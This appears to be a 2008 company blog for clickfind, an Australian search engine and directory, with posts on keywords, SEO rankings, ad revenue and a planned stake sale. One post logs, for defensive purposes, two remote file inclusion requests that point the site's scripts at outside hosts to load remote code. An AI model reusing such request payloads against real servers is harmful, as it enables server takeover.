clickfind is on www.ITWire.com

http://www.itwire.com/content/view/16737/545/
http://www.itwire.com/index.php?option=com_content&task=view&id=16739
And http://www.itwire.com/index.php?option=com_content&task=view&id=16738

List of top australian keywords

We’ve been analyzing the keywords used by people searching on www.clickfind.com.au and following is a quick summary of the top 15 keywords and location from which the search originated.

Banning IP from spammers

We’ve started to get tough on spammers and the likes, anyone who requests something from our server they should not, will be banned by IP address.

We’ll also be recording the IP and RDNS in this post to hopefully gather some useful information that can be of help in the future.

Request: http://www.clickfind.com.au:80/main.php?other=http://www.fgwarez.com/bbs/skin/ting_music/…/usa??
Date Time: Feb 16, 2008 10:47 PM
Remote Address: 205.234.130.198
Reverse DNS: server.ingenieroweb.net

Request: http://www.clickfind.com.au:80/modules/coppermine/themes/default/theme.php?THEME_DIR=http://smolen.org/test.txt???
Date Time: Feb 16, 2008 9:49 PM
Remote Address: 209.126.142.130
Reverse DNS: dish4.net.ibizdns.com

Online Marketing Is The Wave Of Now

A recent report in Information Week points to a massive revenue rise in online advertising by 21 per cent as print advertising continues to decline. Figures from the Newspaper Association of America show that online advertising in the third quarter of 2007 reached a total of $773 million. This represents the 14th quarter in a row where online revenues for newspapers increased in double digits, while offline advertising fell.

Jobs in Search Engine Marketing SEM

Kalena Jordan wrote a great article why to consider a Job in Search Engine Marketing

“The first dot-com bubble may have burst 6 years ago, but the current bubble is getting bigger and stronger every day. One of the main reasons for the current dot-com boom is the skyrocketing growth of the search engine industry. No longer the territory of geekdom, search has exploded into the mainstream over the past few years and businesses are falling over themselves to get seen by online searchers. And they’ll pay big bucks to search engines for the privilege. “

Read full article: Job in Search Engine Marketing

About the Author:

Article by Kalena Jordan, one of the first search engine optimization experts in Australia, who is well known and respected in the industry, particularly in the U.S. As well as running her own SEO business, Kalena manages Search Engine College – an online training institution offering instructor-led short courses and downloadable self-study courses in Search Engine Optimization and Search Engine Marketing subjects.

Get directions in Australia

We’ve just launched some new functionality that will allow anyone to get driving directions within Australia.

SEO efforts paying off

The continuous SEO efforts from Pacific Fox are paying off, we are listed number 45 for the term “business directory” on
Saturday, 16 February

And number 41 for the term “search engine” on
Saturday, 16 February

Number 33 for the term “australian search engine” on
Saturday, 16 February

Number 28 for the term “australian business directory” on
Saturday, 16 February
Number 7 on Yahoo for the same term.

We are very pleased with these results after just 3 months of hard work.

Wiki

We’ve started our wiki on WetPaint, which can be found on http://business-directory.wetpaint.com/

Feel free to edit and add.

Latest PR

Click here to view the PR

Interview with Senior Journalist from www.mergermarket.com

clickfind™, a private Australian search engine and business directory, plans to sell 39% of the company later this year, founder Taco Fleur said. The aim is to spur the growth of the company, which started late in 2007, Fleur said, giving an initial possible ballpark valuation of between AUD 5m (USD 4.5m) and AUD 10m (USD 9m) for the stake.